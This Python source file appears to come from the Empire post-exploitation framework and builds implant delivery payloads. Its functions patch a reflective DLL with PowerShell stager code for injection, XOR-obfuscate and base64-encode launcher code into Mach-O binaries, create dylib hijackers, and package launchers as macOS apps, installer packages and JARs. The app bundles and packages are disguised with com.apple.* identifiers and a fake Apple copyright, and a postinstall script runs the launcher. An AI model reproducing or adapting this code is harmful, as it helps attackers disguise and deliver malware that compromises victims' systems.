453 lines
17 KiB
Python
453 lines
17 KiB
Python
"""
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Functionality that loads Empire stagers, sets generic stager options,
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and abstracts the invocation of launcher generation.
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The Stagers() class in instantiated in ./empire.py by the main menu and includes:
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load_stagers() - loads stagers from the install path
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set_stager_option() - sets and option for all stagers
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generate_launcher() - abstracted functionality that invokes the generate_launcher() method for a given listener
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generate_dll() - generates a PowerPick Reflective DLL to inject with base64-encoded stager code
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generate_macho() - generates a macho binary with an embedded python interpreter that runs the launcher code
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generate_dylib() - generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application
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"""
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import fnmatch
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import imp
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import helpers
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import os
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import macholib.MachO
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import shutil
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import zipfile
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import subprocess
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from itertools import izip, cycle
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import base64
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class Stagers:
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def __init__(self, MainMenu, args):
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self.mainMenu = MainMenu
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self.args = args
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# stager module format:
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# [ ("stager_name", instance) ]
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self.stagers = {}
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self.load_stagers()
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def load_stagers(self):
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"""
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Load stagers from the install + "/lib/stagers/*" path
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"""
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rootPath = "%s/lib/stagers/" % (self.mainMenu.installPath)
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pattern = '*.py'
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print helpers.color("[*] Loading stagers from: %s" % (rootPath))
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for root, dirs, files in os.walk(rootPath):
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for filename in fnmatch.filter(files, pattern):
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filePath = os.path.join(root, filename)
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# don't load up any of the templates
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if fnmatch.fnmatch(filename, '*template.py'):
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continue
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# extract just the module name from the full path
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stagerName = filePath.split("/lib/stagers/")[-1][0:-3]
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# instantiate the module and save it to the internal cache
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self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, [])
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def set_stager_option(self, option, value):
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"""
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Sets an option for all stagers.
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"""
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for name, stager in self.stagers.iteritems():
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for stagerOption,stagerValue in stager.options.iteritems():
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if stagerOption == option:
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stager.options[option]['Value'] = str(value)
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def generate_launcher(self, listenerName, language=None, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
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"""
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Abstracted functionality that invokes the generate_launcher() method for a given listener,
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if it exists.
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"""
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if not listenerName in self.mainMenu.listeners.activeListeners:
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print helpers.color("[!] Invalid listener: %s" % (listenerName))
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return ''
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activeListener = self.mainMenu.listeners.activeListeners[listenerName]
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launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks)
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if launcherCode:
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return launcherCode
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def generate_dll(self, poshCode, arch):
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"""
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Generate a PowerPick Reflective DLL to inject with base64-encoded stager code.
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"""
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#read in original DLL and patch the bytes based on arch
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if arch.lower() == 'x86':
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origPath = "%s/data/misc/ReflectivePick_x86_orig.dll" % (self.mainMenu.installPath)
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else:
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origPath = "%s/data/misc/ReflectivePick_x64_orig.dll" % (self.mainMenu.installPath)
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if os.path.isfile(origPath):
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dllRaw = ''
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with open(origPath, 'rb') as f:
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dllRaw = f.read()
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replacementCode = helpers.decode_base64(poshCode)
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# patch the dll with the new PowerShell code
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searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
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index = dllRaw.find(searchString)
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dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]
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return dllPatched
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else:
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print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
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def generate_macho(self, launcherCode):
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"""
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Generates a macho binary with an embedded python interpreter that runs the launcher code.
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"""
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MH_EXECUTE = 2
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f = open("%s/data/misc/machotemplate" % (self.mainMenu.installPath), 'rb')
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# f = open(self.installPath + "/data/misc/machotemplate", 'rb')
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macho = macholib.MachO.MachO(f.name)
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if int(macho.headers[0].header.filetype) != MH_EXECUTE:
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print helpers.color("[!] Macho binary template is not the correct filetype")
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return ""
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cmds = macho.headers[0].commands
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for cmd in cmds:
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count = 0
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if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64:
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count += 1
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if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
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count += 1
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for section in cmd[count]:
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if section.sectname.strip('\x00') == '__cstring':
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offset = int(section.offset) + (int(section.size) - 2119)
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placeHolderSz = int(section.size) - (int(section.size) - 2119)
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template = f.read()
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f.close()
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if placeHolderSz and offset:
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key = 'subF'
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launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(launcherCode, cycle(key)))
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launcherCode = base64.urlsafe_b64encode(launcherCode)
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launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
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patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):]
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return patchedMachO
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else:
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print helpers.color("[!] Unable to patch MachO binary")
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def generate_dylib(self, launcherCode, arch, hijacker):
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"""
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Generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application.
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"""
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import macholib.MachO
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MH_DYLIB = 6
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if hijacker.lower() == 'true':
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if arch == 'x86':
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f = open("%s/data/misc/hijackers/template.dylib" % (self.mainMenu.installPath), 'rb')
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else:
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f = open("%s/data/misc/hijackers/template64.dylib" % (self.mainMenu.installPath), 'rb')
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else:
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if arch == 'x86':
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f = open("%s/data/misc/templateLauncher.dylib" % (self.mainMenu.installPath), 'rb')
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else:
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f = open("%s/data/misc/templateLauncher64.dylib" % (self.mainMenu.installPath), 'rb')
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macho = macholib.MachO.MachO(f.name)
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if int(macho.headers[0].header.filetype) != MH_DYLIB:
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print helpers.color("[!] Dylib template is not the correct filetype")
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return ""
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cmds = macho.headers[0].commands
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for cmd in cmds:
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count = 0
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if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
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count += 1
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if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
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count += 1
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for section in cmd[count]:
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if section.sectname.strip('\x00') == '__cstring':
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offset = int(section.offset)
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placeHolderSz = int(section.size) - 52
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template = f.read()
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f.close()
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if placeHolderSz and offset:
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launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
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patchedDylib = template[:offset]+launcher+template[(offset+len(launcher)):]
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return patchedDylib
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else:
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print helpers.color("[!] Unable to patch dylib")
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def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
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"""
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Generates an application. The embedded executable is a macho binary with the python interpreter.
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"""
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MH_EXECUTE = 2
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if Arch == 'x64':
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f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher")
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directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/"
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else:
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f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher")
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directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/"
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macho = macholib.MachO.MachO(f.name)
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if int(macho.headers[0].header.filetype) != MH_EXECUTE:
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print helpers.color("[!] Macho binary template is not the correct filetype")
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return ""
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cmds = macho.headers[0].commands
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for cmd in cmds:
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count = 0
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if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
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count += 1
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if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
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count += 1
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for section in cmd[count]:
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if section.sectname.strip('\x00') == '__cstring':
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offset = int(section.offset)
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placeHolderSz = int(section.size) - 52
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template = f.read()
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f.close()
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if placeHolderSz and offset:
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launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
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patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):]
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if AppName == "":
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AppName = "launcher"
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tmpdir = "/tmp/application/%s.app/" % AppName
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shutil.copytree(directory, tmpdir)
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f = open(tmpdir + "Contents/MacOS/launcher","wb")
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if disarm != True:
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f.write(patchedBinary)
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f.close()
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else:
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t = open(self.mainMenu.installPath+"/data/misc/apptemplateResources/empty/macho",'rb')
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w = t.read()
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f.write(w)
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f.close()
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t.close()
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os.rename(tmpdir + "Contents/MacOS/launcher",tmpdir + "Contents/MacOS/%s" % AppName)
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os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0755)
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if icon != '':
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iconfile = os.path.splitext(icon)[0].split('/')[-1]
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shutil.copy2(icon,tmpdir+"Contents/Resources/"+iconfile+".icns")
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else:
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iconfile = icon
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appPlist = """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>BuildMachineOSBuild</key>
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<string>15G31</string>
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<key>CFBundleDevelopmentRegion</key>
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<string>en</string>
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<key>CFBundleExecutable</key>
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<string>%s</string>
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<key>CFBundleIconFile</key>
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<string>%s</string>
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<key>CFBundleIdentifier</key>
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<string>com.apple.%s</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundleName</key>
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<string>%s</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleSignature</key>
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<string>????</string>
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<key>CFBundleSupportedPlatforms</key>
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<array>
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<string>MacOSX</string>
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</array>
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<key>CFBundleVersion</key>
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<string>1</string>
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<key>DTCompiler</key>
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<string>com.apple.compilers.llvm.clang.1_0</string>
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<key>DTPlatformBuild</key>
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<string>7D1014</string>
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<key>DTPlatformVersion</key>
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<string>GM</string>
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<key>DTSDKBuild</key>
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<string>15E60</string>
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<key>DTSDKName</key>
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<string>macosx10.11</string>
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<key>DTXcode</key>
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<string>0731</string>
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<key>DTXcodeBuild</key>
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<string>7D1014</string>
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<key>LSApplicationCategoryType</key>
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<string>public.app-category.utilities</string>
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<key>LSMinimumSystemVersion</key>
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<string>10.11</string>
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<key>LSUIElement</key>
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<true/>
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<key>NSHumanReadableCopyright</key>
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<string>Copyright 2016 Apple. All rights reserved.</string>
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<key>NSMainNibFile</key>
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<string>MainMenu</string>
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<key>NSPrincipalClass</key>
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<string>NSApplication</string>
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</dict>
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</plist>
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""" % (AppName, iconfile, AppName, AppName)
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f = open(tmpdir+"Contents/Info.plist", "w")
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f.write(appPlist)
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f.close()
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shutil.make_archive("/tmp/launcher", 'zip', "/tmp/application")
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shutil.rmtree('/tmp/application')
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f = open("/tmp/launcher.zip","rb")
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zipbundle = f.read()
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f.close()
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os.remove("/tmp/launcher.zip")
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return zipbundle
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else:
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print helpers.color("[!] Unable to patch application")
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def generate_pkg(self, launcher, bundleZip, AppName):
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#unzip application bundle zip. Copy everything for the installer pkg to a temporary location
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currDir = os.getcwd()
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os.chdir("/tmp/")
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f = open("app.zip","wb")
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f.write(bundleZip)
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f.close()
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zipf = zipfile.ZipFile('app.zip','r')
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zipf.extractall()
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zipf.close()
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os.remove('app.zip')
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os.system("cp -r "+self.mainMenu.installPath+"/data/misc/pkgbuild/ /tmp/")
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os.chdir("pkgbuild")
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os.system("cp -r ../"+AppName+".app root/Applications/")
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os.system("chmod +x root/Applications/")
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os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload")
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os.system("chmod +x expand/Payload")
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s = open('scripts/postinstall','r+')
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script = s.read()
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script = script.replace('LAUNCHER',launcher)
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s.seek(0)
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s.write(script)
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s.close()
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os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts")
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os.system("chmod +x expand/Scripts")
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numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
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size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
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size = int(size) / 1024
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p = open('expand/PackageInfo','w+')
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pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
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<pkg-info overwrite-permissions="true" relocatable="false" identifier="com.apple.APPNAME" postinstall-action="none" version="1.0" format-version="2" generator-version="InstallCmds-554 (15G31)" install-location="/" auth="root">
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<payload numberOfFiles="KEY1" installKBytes="KEY2"/>
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<bundle path="./APPNAME.app" id="com.apple.APPNAME" CFBundleShortVersionString="1.0" CFBundleVersion="1"/>
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<bundle-version>
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<bundle id="com.apple.APPNAME"/>
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</bundle-version>
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<upgrade-bundle>
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<bundle id="com.apple.APPNAME"/>
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</upgrade-bundle>
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<update-bundle/>
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<atomic-update-bundle/>
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<strict-identifier>
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<bundle id="com.apple.APPNAME"/>
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</strict-identifier>
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<relocate>
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<bundle id="com.apple.APPNAME"/>
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</relocate>
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<scripts>
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<postinstall file="./postinstall"/>
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</scripts>
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</pkg-info>
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"""
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pkginfo = pkginfo.replace('APPNAME',AppName)
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pkginfo = pkginfo.replace('KEY1',numFiles)
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pkginfo = pkginfo.replace('KEY2',str(size))
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p.write(pkginfo)
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p.close()
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os.system("mkbom -u 0 -g 80 root expand/Bom")
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os.system("chmod +x expand/Bom")
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os.system("chmod -R 755 expand/")
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os.system('( cd expand && xar --compression none -cf "../launcher.pkg" * )')
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f = open('launcher.pkg','rb')
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package = f.read()
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os.chdir("/tmp/")
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shutil.rmtree('pkgbuild')
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shutil.rmtree(AppName+".app")
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return package
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def generate_jar(self, launcherCode):
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file = open(self.mainMenu.installPath+'data/misc/Run.java','r')
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javacode = file.read()
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file.close()
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javacode = javacode.replace("LAUNCHER",launcherCode)
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file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
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file.write(javacode)
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file.close()
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currdir = os.getcwd()
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os.chdir(self.mainMenu.installPath+'data/misc/classes/')
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os.system('javac com/installer/apple/Run.java')
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os.system('jar -cfe '+self.mainMenu.installPath+'Run.jar com.installer.apple.Run com/installer/apple/Run.class')
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os.chdir(currdir)
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os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.class')
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os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java')
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jarfile = open('Run.jar','rb')
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jar = jarfile.read()
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jarfile.close()
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os.remove('Run.jar')
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return jar |